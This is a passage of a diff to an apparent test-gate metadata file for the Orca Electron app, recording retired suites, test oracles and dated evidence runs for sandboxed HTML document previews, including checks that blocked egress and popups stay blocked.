reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2043: Remove the registration-wait, webview-security, preview-authorization, guest-lifecycle and grant-IPC unit suites and the sibling-directory assertion reference. Runtime and browser capability consumers also lose removed imported examples. Remaining document-policy, file-reader and grant-registry assertions do not replace those alarms. Preserve the 27 independent dated receipts at their original unchanged selectors; reduced prospective unit selectors have no fresh result or equivalent replacement claim. Historical prior account (preserved verbatim): Audit1973: Delete the browser RPC forwarding/schema/scalar suite and its prospective selector. Preserve all27 unrelated dated receipts; no actual browser operation alarm is replaced. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): The complete terminal-file-link-actions suite is removed. Lose supplied local/remote menu-row inventories, browser label/order/download/reveal callback forwarding, platform-copy and source-group pinning examples. No OS reveal/download, real remote preview or browser navigation was exercised; the other real document-preview sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1687 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1421 narrows renderer unit coverage as recorded in coverageNotes. Prior oracle descriptions are historical for the changed suite. The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Retained unchanged-selector receipts are the only current execution evidence. Reduced-source assertions await validation. Historical prior oracle: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): In paired Electron, write an HTML fixture that declares its own title on the host, invoke the Explorer preview action on the client, and require the document text to be readable out of the orca-preview guest before judging any absence. With that presence established, require the client to hold exactly one browser workspace more than its baseline and that workspace to be the document one: page and tab url blank, the document path mirrored onto both, the tab named by the document's title, the chip naming the file, no editor row of the retired preview species anywhere, and the guest URL carrying the orca-preview scheme. Ask the host through its own page registry as well as through the tab snapshot, and in the same run open an ordinary URL browser tab from the same client and require that one to arrive in both — the presence precondition without which “the host gained nothing” is satisfied just as well by an oracle that cannot see browser pages at all. Require the preview to sit in a group other than the source editor's while the active group and tab remain the source editor's. Then click away to the terminal, click the preview tab, require it to reactivate and still render, close it with its own X, and require the document tab to be gone while the host still holds only the URL tab and the source group, source editor and terminal survive. Quit the client with a document tab open and relaunch it on the same profile: require the same workspace row to come back, blank and named by the document, rendering the document again over a grant URL that differs from the one that was quit, with no preview-scheme or document-named page anywhere in what the host holds. Prove the halves are live by flipping one product property at a time and requiring the run to fail: publish document workspaces to the host like ordinary ones, and stop mirroring the document onto the workspace row. Have the fixture document attempt its own egress on every load — an unattended window.open and location.href to an off-machine URL, plus an inline ICE gathering probe — and require the same baseline counts and a candidate count of zero, so the document's own attempts are measured rather than assumed. Then, as a separate phase after the close oracle has already run, bring the client window to the front, press the document's heading with a real mouse event, and require the document to report that the same press drove it to attempt a second window.open and location.href while both browser counts stay at that phase's baseline and nothing routes — the case a recent-input gate cannot distinguish from the press's own effect. Only then press the target=_blank link with a real mouse event and require both a recorded routing call that returned success and a browser count above that baseline, with the preview tab still open. Drive the preload's click policy as a unit oracle over a real document: a dispatched click, a trusted press on an external anchor, an anchor reached through what it wraps, an SVG animated href, a sibling preview link, fragment and percent-encoded fragment targets, a bare hash, and a middle click. Create a browser page located by a workspace document, handing creation a live grant URL, and require its stored url, its mirrored tab url and the written session payload all to be blank with no orca-preview string anywhere in what was written, while an ordinary page created the same way keeps the URL it was given and asks for the address bar the document page never does. Parse the written page and tab through the session schema and require the document to survive both halves. Hydrate them back and require the document page to return blank and still named — including when its page row was salvaged away and only the tab's own copy remains, and when a foreign session carried a grant URL into both rows. Drive the mirror across a page switch out of the document and back, and across a repair in which the document is the only mirrored field that differs. Name a document page from its document and require the tab to take that name, name it with an empty title and require the file, name it with a live grant URL and require the file again with no preview scheme anywhere in the written session, and require an ordinary blank browser tab beside it to still be called New Tab. Dispatch a title update out of a rendered preview's own guest and require it to reach the page state while the identity chip still reads the document's workspace-relative path. Attach a browsing guest and a workspace-document guest through the same method in one run and require the browsing one to take clicked-link routing, popup handling and auth-identity detach tracking while the document guest takes none of them, stays inside the grant it is showing, denies every window it asks for, and is dropped from the page-keyed document registry by the same teardown that frees its id for a later attach. Register a browsing guest and attach a workspace-document guest in one run against the real manager, require the one door to answer each page with the guest of its own half, and require the document page to be absent from the browsing map and from its enumeration. Drive both browsing registration entry points with a page the document half already holds and require them to register nothing, and drive the mint channel with a page the browsing half already holds and require it to refuse; and drive the offscreen one with a guest that is missing and with one already destroyed, requiring the same refusal. Arm a grab on a live preview target, drive the unregister channel at that same target in the window before the queued operation runs, and require the grab to reach the guest anyway — then drive the same sequence for an ordinary browser page and require its grab state to be disposed after all. Hold one viewport-bridge op open, queue a second behind it, swap the page's guest while that second op waits, and require the injection to land in the guest the page has then. Revoke a grant after a tool has run against its page and require that page's grab state to be cancelled and disposed. Ask a tool for a document page whose guest has not attached, require the request to park in the registration wait, attach the guest, and require the same request to arm on it; require a page nothing ever renders to answer not-ready once that wait elapses. With a document open, ask a tool for a browsing page id and require it to be answered by the browsing half or not at all, with the same channel reaching the document guest under the page it really renders. Drive open-externally for a document whose per-file owner is remote while the workspace-scoped owner is unresolved, for a runtime-owned worktree whose preview tab carries no runtime id of its own, and for a worktree that resolves no runtime owner while the tab still carries one, requiring the download route in each; and for an owner that cannot be resolved at all, and for an unknown workspace root while nothing names another host, requiring a refusal that neither opens nor downloads. Drive the headless backend with a page the document half already holds and require it to reject, destroy the window, and unregister nothing — then shut the backend down and require it still to have unregistered nothing. Navigate a bound preview guest at a second grant through both latch events and require it to stay on the grant it bound to. Mount a preview while a renderer drag is already in flight and require its guest to be click-through at the moment it is appended, not a turn later. Render the editor panel shell in each remaining tab mode and require the path header exactly where the surface does not already name itself. Drive the preview action and require a browser tab located by the document rather than an editor tab, require a second open of the same document to activate the tab it is already in, and require closing that tab to revoke its grant while a URL tab closed beside it revokes none. Publish a worktree holding a document tab and a URL tab and require only the URL tab to reach the mobile snapshot. Install the shared partition policies for a preview partition and for an ordinary browsing partition in the same run, fire each one's own will-download listener, and require the preview's to cancel while the browsing one still reaches the download router — then require the preview protocol installer to be what asks for that deny. In the same run, require the cancelled download to raise a reader-facing notice and the routed one to raise none. require the guest registry to name the bound grant for a live preview guest and nothing for a contents that is not one, has committed no document, or is gone. Drive the shell with a refusal and require one fixed sentence, still one row after three more refusals, standing beside an asset failure rather than being counted with it, gone behind the failure panel, and ignored when it names another preview's grant. Drive the main-side report gate directly for a sender that is no preview guest, a guest with no bound or a revoked grant, a genuine press Electron's webview focus flag misreports as unfocused, and non-web URLs; drive the reader-facing confirmation for accept, cancel, and a confirmed tab the browser refuses; and drive will-attach-webview in both preload directions. Run the per-owner reader, grant-containment, scheme-admission, guest-policy, and plan-routing contracts as unit oracles, including a host-reported truncation, an over-cap binary, and an out-of-worktree paired path. Drive the reader-facing component with the payloads the reader can actually produce — the entry document fails only as truncated or unreadable, a subresource additionally as a refused format — and require the asset case to leave the guest mounted. Drive the closed-tab cleanup hook, the window installer, and the grant IPC handlers directly, requiring the grant to be released when the preview tab closes, cleared at window creation and on a cross-document main-frame navigation, and refused to any sender that is not the trusted renderer. For the browser creations this gate still owns, run the unchanged contract oracle for direct create and side-preview callers with absent status, unknown capabilities, and a mixed-version host, requiring the original unsupported error or visible toast, zero RPCs, and no retained new split; hold a real navigation response beyond the 15-second client deadline after host creation and require the first RPC to return the exact host inventory page ID, one host page, and no retry; repeat reconciliation faults against headless serve and retain the separate exact-page reconciliation rollback oracle. Audit2452 removes the whole fake-effect browser-close routing suite. Active selectors and assertion references no longer select it. Its requested-worktree default close, sibling-page close and explicit missing-page typed reply alarms are intentionally retired without equivalent replacement. Prior dated receipts remain unchanged and scoped to their original sources; no fresh execution of the reduced gate, rendered browser, live remote, mobile or cross-platform validation is claimed.", "commands": [ "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/document-preview/doc-preview-file-reader.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts", @@ -4062,15 +3810,8 @@ "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-page-conversion.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-conversion-publish.test.ts", - "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-preview-address-bar-convergence.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=list", - "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", - "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3", - "npx playwright test --config tests/playwright.config.ts --project=electron-headless tests/e2e/paired-remote-html-preview-local-render.spec.ts --workers=1", "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts src/renderer/src/store/slices/browser/browser.test.ts", - "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-browser-create-navigation-deadline.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line", - "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line" + "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts src/renderer/src/store/slices/browser/browser.test.ts" ], "testFiles": [ "src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts", @@ -4084,11 +3825,7 @@ "src/shared/document-preview/doc-preview-scheme.test.ts", "src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts", "src/renderer/src/store/slices/browser/pages/browser-page-conversion.test.ts", - "src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-conversion-publish.test.ts", - "tests/e2e/paired-remote-html-preview-local-render.spec.ts", - "tests/e2e/paired-preview-address-bar-convergence.spec.ts", - "tests/e2e/paired-browser-create-navigation-deadline.spec.ts", - "tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts" + "src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-conversion-publish.test.ts" ], "assertionRefs": [ { @@ -4098,18 +3835,6 @@ "duplicate canonical page IDs are rejected before a second tab can materialize" ] }, - { - "file": "tests/e2e/paired-remote-html-preview-local-render.spec.ts", - "assertions": [ - "the host's HTML document renders inside the client-local orca-preview guest", - "neither the client browser-workspace count nor the host browser-tab count moves off baseline", - "the preview opens in its own split with mode html-preview and leaves the source editor active", - "an explicit click reactivates the preview, and closing it preserves the source editor, its group, and the terminal", - "the document reports having attempted both its unattended and its post-press egress, so neither absence assertion can pass on a document that never tried", - "a scripted window.open and location.href driven by a real press elsewhere in the document route nothing and move no browser count", - "a real target=_blank press in the rendered document routes out as an Orca browser tab while the preview stays open" - ] - }, { "file": "src/main/browser/document-preview/doc-preview-file-reader.test.ts", "assertions": [ @@ -4138,65 +3863,9 @@ "a document page's url is blank in the store, in the written session and after restore", "a document navigation report leaves its URL blank, its title standing and nothing loading; its session excludes preview URLs" ] - }, - { - "file": "tests/e2e/paired-browser-create-navigation-deadline.spec.ts", - "assertions": [ - "a held navigation exceeds the former create deadline while the first RPC returns the exact authoritative host page ID", - "host inventory contains exactly one new page and the user retry branch is never entered" - ] - }, - { - "file": "tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts", - "assertions": [ - "the exact created page exists on the host while publication is held and no browser tab materializes on the client", - "a forced post-create reconciliation timeout closes the exact host page and removes only the reserved empty split", - "a forced capability rejection after caller preflight shows a toast and restores exact host and client inventories", - "headed and headless hosts preserve the unrelated editor and terminal without local fallback" - ] } ], "evidenceRuns": [ - { - "date": "2026-08-27", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", - "result": "passed", - "durationSeconds": 186, - "summary": "The rewritten journey passed 2/2. The first test proves the inverted claim: the client gains exactly one browser workspace and it is the document one — page and tab url blank, the document path mirrored onto both, the tab named by the document's own title, the chip still naming the file, no editor row of the retired preview species — while the host's page registry and tab snapshot both stay at their pre-action content. Both host oracles carry a presence precondition in the same run: an ordinary URL browser tab this client opens does arrive in browser.tabList and in session.tabs.list, and leaves both again when it is closed, so the preview's absence is a decision rather than an oracle that cannot see browser pages. The document still reaches nothing on its own (zero ICE candidates, unattended and post-press egress both swallowed), and the one route out still works: a real press on a target=_blank anchor routes exactly one call and opens a tab while the preview stays open. The second test quits the client with a document tab open and relaunches it on the same profile: the same workspace row comes back blank and named by the document, renders again, and does so over a grant URL that differs from the one that was quit.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line" - }, - { - "date": "2026-08-27", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", - "result": "failed", - "durationSeconds": 108, - "summary": "Candidate with the sole delta that the preview action also opens an ordinary browser tab through the runtime — what it did before STA-5557 — failed at the client-workspace count, 2 against the 1 the claim allows. It dies there rather than at the host oracle, so it proves the exactly-one-workspace half; the host half has no single line to mutate, since a document page never calls the runtime at all, and is protected instead by the presence precondition recorded above.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line" - }, - { - "date": "2026-08-27", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", - "result": "failed", - "durationSeconds": 190, - "summary": "Candidate with the sole delta that the workspace row stops mirroring the document its active page shows failed in both tests on workspaceDocFilePath, null against the document path — the tab entry would go on naming nothing while the page it renders is a document. Two earlier mutants survived and are reported as ill-posed rather than as blind spots: flipping the mobile publish filter changes what this desktop publishes to its own phone clients, not what a paired client puts on its host, and flipping the document mirror in the workspace constructor is repaired on the next state write by the active-page mirror, which is the line the mutant above hits.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line" - }, - { - "date": "2026-08-27", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", - "result": "failed", - "durationSeconds": 195, - "summary": "Candidate with the sole delta that the preview pane does not hand focus to its guest — the tree as it stood before this change — failed at the target=_blank press: six real presses reached the anchor, the embedder had the webview as its active element, and main's own log answered each report with registered true, grant live, focused false. This is the gap the rewrite found: since previews became browser pages they had no chrome to pass focus on, so the one route out of a preview was shut.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line" - }, { "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts", "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/lib/file-preview.test.ts", @@ -4216,153 +3885,23 @@ "durationSeconds": 1.54, "summary": "10/10 on the candidate that gives a browser page a workspace-document location. The trap this is built around: page.url is read by persistence, the mobile publisher, history and the address bar, so a grant URL parked there would outlive the grant that named it and travel to readers that cannot resolve it. Creation overrides the url rather than trusting its caller, and restore re-asserts the same thing, so a session written by another build cannot carry one in. Red-green with each mutant as the sole delta: dropping the creation override writes the grant URL into the store and into the session payload; dropping the restore override brings a foreign session's grant URL back; leaving docLocation out of either browser schema strips it on load and restores the document as a blank New Tab under a strip entry that still names it (both schemas are plain z.object, and this is the trap that already cost one round on the editor schema); dropping it from the workspace build or the mirror leaves the tab entry naming a document its page has left, which the publish boundary reads; dropping the salvage-path copy loses the document when only the tab row survived; and dropping the address-bar exclusion focuses an address bar the surface does not have. The blank-url assertions are paired with a presence precondition in the same run: an ordinary tab created through the same call keeps its URL and does ask for the address bar.", "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts" - }, - { - "date": "2026-08-26", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", - "result": "passed", - "durationSeconds": 23.1, - "summary": "The journey passed 1/1 on the candidate that requires the guest to be bound to a grant before any navigation is allowed, rather than admitting an unbound one. The document still rendered and the target=_blank press still routed out, which is the half that would break if the renderer-set src reached will-navigate: it does not, because that load is browser-initiated, so the permissive branch it was written for is unreachable.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line" - }, - { - "date": "2026-08-26", - "runner": "ci", - "platform": "linux", - "command": "npx playwright test --config tests/playwright.config.ts --project=electron-headless tests/e2e/paired-remote-html-preview-local-render.spec.ts --workers=1", - "result": "failed", - "durationSeconds": 72, - "summary": "The journey failed on Ubuntu at the post-press presence precondition, with #post-input-egress still reading 'idle' after 30 seconds. The trace shows the press was dispatched at 769.5,143.9, a point the guest's own hit test had just confirmed was on its heading, and the focus report before it was already isFocused true, so neither focus nor coordinates were the break: the press never entered the guest at all. A standalone Electron 43 probe under Xvfb with this suite's Linux flags reproduced it in roughly two runs in five when pressing immediately after guest attach — the embedder received the pointerdown with the webview element as its target, meaning the browser resolved the press against the embedder because the freshly attached guest had not yet registered its hit-test region. The same probe never dropped a press on macOS, which is why local runs of either project could not see this. The spec now presses until the document answers, mirroring the target=_blank phase.", - "currentCommand": "npx playwright test --config tests/playwright.config.ts --project=electron-headless tests/e2e/paired-remote-html-preview-local-render.spec.ts --workers=1" - }, - { - "date": "2026-08-26", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3", - "result": "passed", - "durationSeconds": 72, - "summary": "The journey passed 3/3 on the trusted-click candidate, which removed the recent-input gate, made both navigation sinks deny-only, dropped the webview's allowpopups attribute and gave the preview guest its own pinned preload. The fixture now also attempts a window.open and location.href from inside a pointerdown handler, so the egress rides a press the reader really made: it reported 'attempted' every run while both browser counts stayed at that phase's baseline and nothing routed, and the later real press on the target=_blank link still opened exactly one Orca browser tab with the preview still open.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3" - }, - { - "date": "2026-08-26", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", - "result": "failed", - "durationSeconds": 26.9, - "summary": "Candidate with the sole delta that the navigation sinks route again behind a two-second recent-input gate failed on clientBrowserWorkspaceCountAllWorktrees 1 versus baseline 0: the document's location.href, run from inside the handler for the reader's press on the heading, opened a real browser tab. That is the case the earlier design could not distinguish from the press's own effect, and it is why the sinks route nothing at all now. The same run still refused the unattended on-load egress, so this measures the new half specifically.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line" - }, - { - "date": "2026-08-26", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", - "result": "passed", - "durationSeconds": 22.8, - "summary": "The journey passed 1/1 with the fixture document now attempting its own egress on every load: an unattended window.open and location.href to an off-machine URL, and an ICE gathering probe. Both browser counts held at baseline and the probe reported candidates=0, while the document still rendered and the later real target=_blank press still routed out as an Orca browser tab.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line" - }, - { - "date": "2026-08-26", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", - "result": "failed", - "durationSeconds": 23.6, - "summary": "Candidate with the sole delta that the preview guest no longer receives the disable_non_proxied_udp IP-handling policy failed on candidates=6 versus 0, proving the document can gather ICE — including a STUN reflexive candidate against an off-machine server in the standalone probe — whenever that one main-process call is missing.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line" - }, - { - "date": "2026-08-26", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3", - "result": "passed", - "durationSeconds": 66, - "summary": "The journey passed 3/3 again under --repeat-each=3 on the candidate that clears grants on every fresh shell document and gates the mint channel on the trusted renderer, so neither change disturbs a live preview: the document still rendered, both browser counts held at baseline, and the target=_blank press still routed out as an Orca browser tab.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3" - }, - { - "date": "2026-08-26", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3", - "result": "passed", - "durationSeconds": 59.7, - "summary": "The renamed journey passed 3/3 under --repeat-each=3 on the hardened candidate: the host document rendered in the orca-preview guest, both browser counts held at baseline through the split, focus, reactivation and close phases, and the final phase's real target=_blank press routed out as an Orca browser tab with the routing call recorded as opened while the preview tab stayed open.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3" - }, - { - "date": "2026-08-12", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line", - "result": "passed", - "durationSeconds": 18.3, - "summary": "The full headed spec passed 2/2. A visible desktop host and separate paired Electron client proved both reconciliation rollback and capability rejection with a failure toast and exact host/client browser, group, editor, and terminal inventory restoration.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line" - }, - { - "date": "2026-08-12", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", - "result": "passed", - "durationSeconds": 9.1, - "summary": "The full isolated headless-serve journey passed 1/1, applying both reconciliation and capability faults to the same live host while preserving the visible-toast and exact inventory-restoration oracle.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line" - 